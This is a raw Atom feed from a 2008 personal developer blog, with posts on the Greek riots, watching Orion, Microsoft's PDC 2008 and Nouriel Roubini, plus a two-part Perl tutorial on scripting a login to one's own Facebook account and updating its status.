bold;"&gt;long&lt;/span&gt; deep social and political problems. The nation seems to be divided in half, the one side demanding justice and change and the other one somewhat justifying police methods and expressing the opinion that all these are supported under the table by left-wing parties...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-7464662427010590891?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/7464662427010590891'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/7464662427010590891'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/12/on-riots-in-greece-nation-divided-in.html' title='Riots In Greece Reveal A Nation Divided In Half'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_PNe-bgIDyRw/ST99FGyA4kI/AAAAAAAAAP8/ed2dtgPxOpo/s72-c/athens-riot1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-3760116338152085921</id><published>2008-12-02T16:08:00.000-08:00</published><updated>2008-12-02T17:30:49.583-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='miscellaneous'/><title type='text'>My Daily Encounter With Orion</title><content type='html'>Programming is happening mostly &lt;span style="font-weight: bold;"&gt;at nights&lt;/span&gt;, at least for my case, because this guarantees silence and concentration. I barely can stand 2-3 hours of constant typing (unless I am really absorbed) and so I am frequently making some quick breaks by hanging around my balcony to get some good, fresh air.&lt;br /&gt;&lt;br /&gt;I have the great privilege to be able to watch a big deal of the sky, since my house is not located at the center but in a quiet semi-suburban area near the sea, but never actually bothered to know more about the things I was gazing at. This is when I decided to set up&lt;span style="font-weight: bold;"&gt; &lt;a href="http://www.stellarium.org/"&gt;Stellarium&lt;/a&gt;&lt;/span&gt; on my computer.&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/STXbB14OLJI/AAAAAAAAAPs/ajZZWzvYjHg/s1600-h/orion.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 197px; height: 273px;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/STXbB14OLJI/AAAAAAAAAPs/ajZZWzvYjHg/s320/orion.jpg" alt="" id="BLOGGER_PHOTO_ID_5275363363223645330" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The first lesson was about the &lt;span style="font-weight: bold;"&gt;big bright triangle&lt;/span&gt; that I was seeing more and more often lately. It's base has three stars and it turns out it is the most known constellation on Earth. It is &lt;span style="font-weight: bold;"&gt;the Orion constellation&lt;/span&gt; (&lt;span style="font-style: italic;"&gt;photo)&lt;/span&gt;. If I was less ignorant, I'd know the basics, i.e. that Orion is visible to almost &lt;span style="font-weight: bold;"&gt;all&lt;/span&gt; of the Earth and in Greece it moves from East to West during the winter nights.&lt;br /&gt;&lt;br /&gt;Wikipedia states &lt;a href="http://en.wikipedia.org/wiki/Orion_%28constellation%29"&gt;it is the longest observable constellation&lt;/a&gt;, since it was formed &lt;span style="font-weight: bold;"&gt;1.5 M years ago &lt;/span&gt;and it will last for the &lt;span style="font-weight: bold;"&gt;next 1M-2M &lt;/span&gt;years, thus having &lt;span style="font-weight: bold;"&gt;a great bond&lt;/span&gt; with human civilization. Orion is to be found on all cultures. In Ancient Greece, Orion was a Hunter who questioned Gods' power on Earth. Near Orion, on can find many other sky landmarks, such as &lt;a href="http://en.wikipedia.org/wiki/Sirius"&gt;&lt;span style="font-weight: bold;"&gt;Sirius on the east&lt;/span&gt;&lt;/a&gt;, the &lt;span style="font-weight: bold;"&gt;brightest&lt;/span&gt; star of the sky, the &lt;a style="font-weight: bold;" href="http://en.wikipedia.org/wiki/Taurus_%28constellation%29"&gt;Taurus&lt;/a&gt;&lt;span style="font-weight: bold;"&gt; on the West&lt;/span&gt; and the &lt;a href="http://en.wikipedia.org/wiki/Pleiades"&gt;&lt;span style="font-weight: bold;"&gt;Pleiades&lt;/span&gt;&lt;/a&gt;, the little 7 stars who look a little cloudy, which are next to it. Ancient imagination sometimes linked these stars together by picturing a fight of Orion with Taurus or sometimes Orion chasing the Pleiades.&lt;br /&gt;&lt;br /&gt;Once an overwhelming experience that excited the imagination, then a great navigation tool, the stars seem to have lost their &lt;span style="font-weight: bold;"&gt;impact on human civilization&lt;/span&gt; (well at least the sky stars). Astromoners have computed their behaviour to the final digit to begin with.&lt;br /&gt;&lt;br /&gt;However this is still a rewarding activity and altough I don't know if I ever forget anything that I have learned so far, since it is already a daily routine I will expect that at &lt;span style="font-weight: bold;"&gt;4-5 am&lt;/span&gt; of every winter morning, Orion will be there pointing to the North, making some good company during my quick and cold homeworking breaks.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-3760116338152085921?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/3760116338152085921'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/3760116338152085921'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/12/my-daily-encounter-with-orion.html' title='My Daily Encounter With Orion'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_PNe-bgIDyRw/STXbB14OLJI/AAAAAAAAAPs/ajZZWzvYjHg/s72-c/orion.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-7497547613038824317</id><published>2008-11-16T17:38:00.000-08:00</published><updated>2008-11-17T01:57:33.812-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='microsoft'/><title type='text'>A Programmer's (Over)View On Microsoft's PDC 2008</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_PNe-bgIDyRw/SSDZHe7OwkI/AAAAAAAAAPc/YlD92FeXFBE/s1600-h/PDC_logo.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 224px; height: 66px;" src="http://2.bp.blogspot.com/_PNe-bgIDyRw/SSDZHe7OwkI/AAAAAAAAAPc/YlD92FeXFBE/s320/PDC_logo.png" alt="" id="BLOGGER_PHOTO_ID_5269450286607286850" border="0" /&gt;&lt;/a&gt;It has been two week that Microsoft's annual &lt;span style="font-weight: bold;"&gt;Professional Developers' Conference&lt;/span&gt; for 2008 came to an end.By all testaments I could find on the web, it has been a tremendous hit and the online sessions I have watched so far are really, really good.&lt;br /&gt;&lt;br /&gt;Microsoft made a great deal of announcements: &lt;span style="font-weight: bold;"&gt;Windows 7 &lt;/span&gt;and &lt;span style="font-weight: bold;"&gt;Windows Azure &lt;/span&gt;were the most popular on the list. Apart from fancy high-tech jargon, if we were to decode in computer science terms where Microsoft places the big bets, we should mention:&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Parallel Computing&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Cloud computing&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Managed Memory Framework (.NET)&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_PNe-bgIDyRw/SSDZWMgfNWI/AAAAAAAAAPk/XLR0lA9u43M/s1600-h/windows_7.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 161px; height: 161px;" src="http://2.bp.blogspot.com/_PNe-bgIDyRw/SSDZWMgfNWI/AAAAAAAAAPk/XLR0lA9u43M/s320/windows_7.jpg" alt="" id="BLOGGER_PHOTO_ID_5269450539361318242" border="0" /&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;Clearly, we have reached the limits of nature with these giga-capable processors on our ordinary laptops. And if we can't build better processors we can still build more of them. This is the rise of multi-core computers, and managing all these cores on the same machine is a great engineering task. Microsoft is, naturally, deeply faced with these engineering challenges that are at the heart of &lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;Windows 7 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;design. &lt;span style="font-weight: bold;"&gt;Windows 7 &lt;/span&gt;is the next desktop operating system from Microsoft, after the heavily criticized &lt;span style="font-weight: bold;"&gt;Windows Vista &lt;/span&gt;and its highly-advertised failure (actually Vista with Service Pack 1 has become much stable). Among other things, Windows 7, is claimed to be a much more scalable system, even up to &lt;span style="font-weight: bold;"&gt;256 processors! &lt;/span&gt;Having this kind of scalability, is of course not targeted to low-end users like me and if it was, I wouldn't be able to notice it. However, if this is true, we could experience a sharp boom in high-end computational power. &lt;a href="http://channel9.msdn.com/shows/Going+Deep/Mark-Russinovich-Inside-Windows-7/"&gt;This interview with &lt;/a&gt;&lt;span style="font-weight: bold;"&gt;&lt;a href="http://channel9.msdn.com/shows/Going+Deep/Mark-Russinovich-Inside-Windows-7/"&gt;Mark Russinovich&lt;/a&gt;, &lt;/span&gt;a famous Windows Expert, will give you a much more technical view into the challenges of Windows 7.&lt;br /&gt;&lt;br /&gt;I&lt;a href="http://channel9.msdn.com/pdc2008/KYN01/"&gt;n his keynote speech, &lt;/a&gt;&lt;span style="font-weight: bold;"&gt;&lt;a href="http://channel9.msdn.com/pdc2008/KYN01/"&gt;Ray Ozzie (&lt;span style="font-style: italic;"&gt;photo&lt;/span&gt;)&lt;/a&gt;, &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Chief Software Architect &lt;/span&gt;at Microsoft, began with introducing &lt;span style="font-weight: bold;"&gt;Windows Azure,&lt;/span&gt; baptising it "Windows OS on the c&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_PNe-bgIDyRw/SSDX_fkqC0I/AAAAAAAAAPU/Ocw_87T8CPo/s1600-h/rayozzie.PNG"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 268px; height: 153px;" src="http://2.bp.blogspot.com/_PNe-bgIDyRw/SSDX_fkqC0I/AAAAAAAAAPU/Ocw_87T8CPo/s320/rayozzie.PNG" alt="" id="BLOGGER_PHOTO_ID_5269449049830460226" border="0" /&gt;&lt;/a&gt;loud". You can read my thoughts on &lt;span style="font-weight: bold;"&gt;&lt;a href="http://developeronline.blogspot.com/2008/04/dawn-of-cloud-computing.html"&gt;cloud computing&lt;/a&gt; &lt;/span&gt;on a post I wrote some months ago. In summary, I am not the perfect fan of the idea but Microsoft on the other hand has no choice than competing directly with &lt;span style="font-weight: bold;"&gt;Amazon, Google &lt;/span&gt;and &lt;span style="font-weight: bold;"&gt;Yahoo! &lt;/span&gt;who are already into this area. Bundled with Microsoft's &lt;span style="font-weight: bold;"&gt;unbeatable &lt;/span&gt;developer support, it could rapidly gain much interest.&lt;br /&gt;&lt;br /&gt;Finally, one cannot but take notice of the volume of sessions and talks about the &lt;span style="font-weight: bold;"&gt;.NET Framework &lt;/span&gt;which has already a prominent place in Windows developers. Microsoft is working hard on making it even more complete and adding all kinds of cool stuff in it. Microsoft announced &lt;span style="font-weight: bold;"&gt;.NET version 4.0&lt;/span&gt; (current is 3.5) which will have a great deal of interesting goodies like &lt;span style="font-weight: bold;"&gt;parallel processing extensions, design-by-contract classes &lt;/span&gt;which lets build a kind of SLAs inside the code of your methods, a new &lt;span style="font-weight: bold;"&gt;functional programming language F#, &lt;/span&gt;&lt;span&gt;and many more&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;It is really to hard to have everything all included here. I made a quick overview, on Microsoft's take on the future and as time goes by I will try to research deeper on some things (functional programming is going to be our next topic). &lt;a href="https://sessions.microsoftpdc.com/public/timeline.aspx"&gt;I highly recommend you to go over the PDC sessions which are available online&lt;/a&gt;. Even if you are not into Windows programming, they are very interesting and funny (especially the F# presentation)&lt;br /&gt;&lt;br /&gt;So, to recap, &lt;span style="font-weight: bold;"&gt;Microsoft is moving&lt;/span&gt;, and when it does so, by the law of nature and given its &lt;span style="font-weight: bold;"&gt;big mass, &lt;/span&gt;it moves anything that surrounds it, and &lt;span style="font-weight: bold;"&gt;this is a fact&lt;/span&gt; either you hate or love Microsoft.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-7497547613038824317?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/7497547613038824317'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/7497547613038824317'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/11/programmers-overview-on-microsofts-pdc.html' title='A Programmer&apos;s (Over)View On Microsoft&apos;s PDC 2008'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_PNe-bgIDyRw/SSDZHe7OwkI/AAAAAAAAAPc/YlD92FeXFBE/s72-c/PDC_logo.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-537676180572030382</id><published>2008-10-29T10:49:00.000-07:00</published><updated>2008-11-01T08:05:46.201-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='source code'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>Using Perl Against Facebook - Part II: Status Updates</title><content type='html'>&lt;span style="font-style: italic;"&gt;This post continues from &lt;a href="http://developeronline.blogspot.com/2008/10/using-perl-against-facebook-part-i.html"&gt;Part I - Login to Facebook&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;By now, we are able to login to our Facebook account, so it is time to do more things with it. Facebook lets you publish your status, a short text descsribing what you are doing any time. It has a 160-char limit, just like the &lt;a href="http://www.twitter.com/"&gt;Twitter&lt;/a&gt; thing.&lt;br /&gt;&lt;br /&gt;To get or set the status, we only &lt;span style="font-weight: bold;"&gt;need the homepage&lt;/span&gt; html page. To &lt;span style="font-weight: bold;"&gt;retrieve&lt;/span&gt; our status we just match it against a pattern and to &lt;span style="font-weight: bold;"&gt;set &lt;/span&gt;the status we send a POST request with the appropriate arguments. Here is the code:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;#&lt;span style="font-style: italic;"&gt;go to the homepage&lt;/span&gt;&lt;br /&gt;$response = $browser-&gt;get('http://www.facebook.com/home.php',@header);&lt;br /&gt;&lt;br /&gt;#&lt;span style="font-style: italic;"&gt;Let's now post a new status&lt;/span&gt;&lt;br /&gt;my $newStatus = "Testing DOL Code..";&lt;br /&gt;$response-&gt;content =~ /id="post_form_id" name="post_form_id" value="(.+?)"/;&lt;br /&gt;&lt;br /&gt;my $postformid = $1;&lt;br /&gt;my %post_data = ("status"=&gt;$newStatus,"post_form_id"=&gt;$postformid);&lt;br /&gt;&lt;br /&gt;$response = $browser-&gt;post('http://www.facebook.com/updatestatus.php',\%post_data,@header);&lt;br /&gt;&lt;br /&gt;##&lt;span style="font-style: italic;"&gt;Ok! The status was posted...&lt;br /&gt;##Let's now see what we have done...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;$response = $browser-&gt;get('http://www.facebook.com/home.php',@header);&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-size:85%;"&gt;if($response-&gt;content =~ /&amp;lt;span id="chat_su_text"&amp;gt;(.+?)&lt;\/span&gt;/)&lt;br /&gt;{&lt;br /&gt;  #&lt;span style="font-style: italic;"&gt;Here is the new status&lt;/span&gt;&lt;br /&gt;  print "My status: ",$1;&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;  print "Could retrieve status...";&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;This piece of code should be used in conjuction with the previous post. It assumes we have already setup the &lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;brower &lt;/span&gt;&lt;/span&gt;and the &lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;response &lt;/span&gt;&lt;/span&gt;object and that we have already logged in to Facebook. The code first posts a new status ('&lt;span style="font-style: italic;"&gt;Testing DOL code...') &lt;/span&gt;and then tests if everything was setup ok.&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-537676180572030382?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/537676180572030382'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/537676180572030382'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/10/using-perl-against-facebook-part-ii.html' title='Using Perl Against Facebook - Part II: Status Updates'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-6734416876665088159</id><published>2008-10-26T15:05:00.000-07:00</published><updated>2008-10-27T05:08:38.918-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='source code'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>Using Perl Against Facebook - Part I: Login</title><content type='html'>After a small intervention about &lt;a href="http://developeronline.blogspot.com/2008/10/nouriel-roubini-prophet-of-global.html"&gt;the economic crisis&lt;/a&gt;, it is time we get back to some hacking. This time we shall use &lt;span style="font-weight: bold;"&gt;Perl against Facebook&lt;/span&gt;, to do anything that Fb will not let u&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_PNe-bgIDyRw/SQUDABSWTzI/AAAAAAAAAPE/s78UPOpw_Fc/s1600-h/facebook_pic.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 198px; height: 74px;" src="http://2.bp.blogspot.com/_PNe-bgIDyRw/SQUDABSWTzI/AAAAAAAAAPE/s78UPOpw_Fc/s320/facebook_pic.jpg" alt="" id="BLOGGER_PHOTO_ID_5261615038532570930" border="0" /&gt;&lt;/a&gt;s do. In this post I will just show how to &lt;span style="font-weight: bold;"&gt;login &lt;/span&gt;to Facebook. In the next post, I will dump the code on how to &lt;span style="font-weight: bold;"&gt;update&lt;/span&gt; your status.&lt;br /&gt;&lt;br /&gt;For the history, Fb has indeed an &lt;span style="font-weight: bold;"&gt;API for developers&lt;/span&gt; that wish to build their application on the Facebook platform. You can &lt;a href="http://developers.facebook.com/"&gt;start here&lt;/a&gt;, but this is not the place for me. The API does give you some choice but it was built with a different view in mind: 3rd party developers accessing peoples' accounts. This is why the API is very restrictive and it makes sense not letting an application do much with your data. There is also a plethora of the so-called Facebook clients, which in the majority are just a wrapper for the Facebook API (like &lt;a href="http://code.google.com/p/facebook-java-api/"&gt;this google code project&lt;/a&gt;). In most cases also you get redirected to Facebook pages. Shame..&lt;br /&gt;&lt;br /&gt;So long for the Facebook API, let's get down on how to &lt;strong&gt;login to Facebook&lt;/strong&gt;. Of course&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_PNe-bgIDyRw/SQUCqE1Is_I/AAAAAAAAAO8/dRDP2U3taiM/s1600-h/perl-work.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 161px; height: 161px;" src="http://4.bp.blogspot.com/_PNe-bgIDyRw/SQUCqE1Is_I/AAAAAAAAAO8/dRDP2U3taiM/s320/perl-work.png" alt="" id="BLOGGER_PHOTO_ID_5261614661526664178" border="0" /&gt;&lt;/a&gt;, language of choice is...what else, Perl (because simple things should be easy, and complex not impossible) In order to login to Facebook we have to follow these steps:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1&lt;/span&gt;. Go to '&lt;span style="font-weight: bold;"&gt;http://www.facebook.com/login.php&lt;/span&gt;', and rest our virtual browser there to collect the cookies (GET request)&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2&lt;/span&gt;. Visit '&lt;span style="font-weight: bold;"&gt;https://login.facebook.com/login.php&lt;/span&gt;' with the proper parameters (POST request)&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3&lt;/span&gt;. If we succeed then we can safely browse to '&lt;span style="font-weight: bold;"&gt;http://www.facebook.com/home.php&lt;/span&gt;' to get our profile.&lt;br /&gt;&lt;br /&gt;To do this we will need the &lt;span style="font-weight: bold;"&gt;&lt;a href="http://search.cpan.org/%7Egaas/libwww-perl-5.805/lib/LWP/UserAgent.pm"&gt;LWP::UserAgent&lt;/a&gt; &lt;/span&gt;class (de facto in latest Perl distros) that will be our virtual browser. If we want to store the cookies we can use &lt;span style="font-weight: bold;"&gt;Http::Cookies&lt;/span&gt;. We will also need &lt;span style="font-weight: bold;"&gt;Crypt::SSLeay &lt;/span&gt;package so that our agent supports HTTPS. Ok. Let's do this.&lt;br /&gt;&lt;br /&gt;Here is the complete code. Explanation follows.&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;my $email; #&lt;span style="font-style: italic;"&gt;stores our mail&lt;/span&gt;&lt;br /&gt;my $password; #&lt;span style="font-style: italic;"&gt;stores our password&lt;br /&gt;my $user_agent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6';&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;$email  = &lt;&gt;;  #&lt;span style="font-style: italic;"&gt;read the login e-mail&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;$password=&lt;&gt;;  #&lt;span style="font-style: italic;"&gt;read the password&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;chomp($email);  #&lt;span style="font-style: italic;"&gt;remove last line&lt;/span&gt;&lt;br /&gt;chomp($password);&lt;br /&gt;&lt;br /&gt;my %postLoginData;  #&lt;span style="font-style: italic;"&gt;necessary post data for login&lt;/span&gt;&lt;br /&gt;$postLoginData{'email')=$email;&lt;br /&gt;$postLoginData{'pass'}=$password;&lt;br /&gt;$postLoginData{'persistent'}=1;&lt;br /&gt;$postLoginData{'login'}='Login';&lt;br /&gt;&lt;br /&gt;our $response; #&lt;span style="font-style: italic;"&gt;holds the response the HTTP requests&lt;br /&gt;#set the headers, let's make this a Firefox browser!&lt;br /&gt;&lt;/span&gt;our @header = ('Referer'=&gt;'http://www.facebook.com', 'User-Agent'=&gt;$user_agent);&lt;br /&gt;&lt;br /&gt;our $cookie_jar = HTTP::Cookies-&gt;new(file=&gt;'fbkCookies.dat',autosave=&gt;1, ignore_discard=&gt;1);&lt;br /&gt;&lt;br /&gt;our $browser = LWP::UserAgent-&gt;new; #&lt;span style="font-style: italic;"&gt;init browser&lt;/span&gt;&lt;br /&gt;$browser-&gt;cookie_jar($cookie_jar);&lt;br /&gt;&lt;br /&gt;$browser-&gt;get('http://www.facebook.com/login.php',@header);&lt;br /&gt;&lt;br /&gt;#&lt;span style="font-style: italic;"&gt;here we actually login!&lt;/span&gt;&lt;br /&gt;$browser-&gt;post('https://login.facebook.com/login.php',\%postLoginData,@header);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span&gt;#&lt;span style="font-style: italic;"&gt;was login successful?&lt;/span&gt;&lt;br /&gt;if($response-&gt;content =~ /Incorrect Email/)&lt;br /&gt;{&lt;br /&gt;print "Login Failed...Quitting..\n";&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt; print "..and we are in!";&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span&gt;#&lt;span style="font-style: italic;"&gt;let's go to the homepage&lt;/span&gt;&lt;br /&gt;$response = $browser-&gt;get('http://www.facebook.com/home.php',@header);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;Upon execution of the script we either get a Login Failure error or a message of success. In the subsequent article we will move on to how to get and set the Facebook status. Stay around because this will get more interesting. The final Perl script has about 500 lines of code and can send messages, retrieve inbox and chat among others!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-6734416876665088159?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/6734416876665088159'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/6734416876665088159'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/10/using-perl-against-facebook-part-i.html' title='Using Perl Against Facebook - Part I: Login'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_PNe-bgIDyRw/SQUDABSWTzI/AAAAAAAAAPE/s78UPOpw_Fc/s72-c/facebook_pic.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-8389800445622036642</id><published>2008-10-14T06:14:00.001-07:00</published><updated>2008-10-14T16:00:49.777-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='economics'/><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>Nouriel Roubini: The Prophet Of The Global Economic Crisis</title><content type='html'>&lt;a href="http://www.becker-posner-blog.com/archives/2008/10/the_financial_c_2.html"&gt;In a recent article, Mr Richard Posner&lt;/a&gt;, tries to understand the most disturbing with this global economic crisis: "&lt;span style="font-weight: bold;"&gt;How come we didn't see it coming?&lt;/span&gt;" It is still disturbing but since it happened, Mr Posner argues we should be better prepared next time, perhaps &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/SPSmt3UT2LI/AAAAAAAAAOs/hcRYc9m_RlE/s1600-h/roubini.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 232px; height: 173px;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/SPSmt3UT2LI/AAAAAAAAAOs/hcRYc9m_RlE/s320/roubini.jpg" alt="" id="BLOGGER_PHOTO_ID_5257009971921672370" border="0" /&gt;&lt;/a&gt;with a CIA-type financial institution which will gather information from disperse places and shield markets against such kind of disasters.&lt;br /&gt;&lt;br /&gt;However, Mr Posner is fair. &lt;span style="font-weight: bold;"&gt;Not&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;all of us &lt;/span&gt;didn't see it coming. There were many warnings, the most notable coming from a teacher in the University of New York, &lt;a href="http://en.wikipedia.org/wiki/Nouriel_Roubini#Early_life_and_education"&gt;&lt;span style="font-weight: bold;"&gt;Mr Nouriel Roubini&lt;/span&gt;&lt;/a&gt; (&lt;span style="font-style: italic;"&gt;photo&lt;/span&gt;), who has been predicting &lt;span style="font-weight: bold;"&gt;for years &lt;/span&gt;and with '&lt;span style="font-weight: bold;"&gt;uncanny accuracy&lt;/span&gt;' what has already happened: housing bubble burst, oil shock, consumer confidence decline and recession..And this is where our story begins.&lt;br /&gt;&lt;br /&gt;Mr Roubini got his PhD from the &lt;span style="font-weight: bold;"&gt;Harvard University&lt;/span&gt; studying international markets and concentrated on recessions of emerging economies, which were typical in &lt;span style="font-weight: bold;"&gt;90's&lt;/span&gt;. His methodology is distinguished for taking history and cultural evidence into account. Along the way, Mr Roubini defined the &lt;span style="font-weight: bold;"&gt;fundamental and common&lt;/span&gt; characteristics of these economies at the peak of the recession: huge deficits (spending more than production), borrowing, exposed banking system, and government corruption. These were the clues he was looking for in the next economy to suffer a crisis. And guess what:&lt;span style="font-weight: bold;"&gt; it was US' turn&lt;/span&gt;!&lt;br /&gt;&lt;br /&gt;Still in &lt;span style="font-weight: 